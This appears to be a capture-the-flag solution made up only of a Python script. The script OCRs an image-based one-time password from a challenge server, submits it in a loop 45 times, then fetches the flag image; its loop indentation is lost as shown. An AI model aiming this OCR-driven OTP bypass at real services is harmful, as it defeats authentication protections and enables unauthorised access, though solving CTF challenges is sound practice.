Tags: ocr scripting 

Rating:

```

import requests
import cv2
import pytesseract
from PIL import Image, ImageEnhance, ImageFilter

s = requests.Session()
contador = 0
while True:
r = s.get('http://challenge.ctf.games:30753/static/otp.png')
file = open(str(contador) + ".png", "wb")
file.write(r.content)
file.close()
image = cv2.imread(str(contador) + ".png")
data = pytesseract.image_to_string(image).split('\n')[0]
payload = {'otp_entry':data}
print(payload)
r = s.post('http://challenge.ctf.games:30753/', data=payload)
contador = contador + 1
print(r.text)
if contador == 45:
t = s.get('http://challenge.ctf.games:30753/static/flag.png')
file = open("flag.png", "wb")
file.write(t.content)
file.close()
```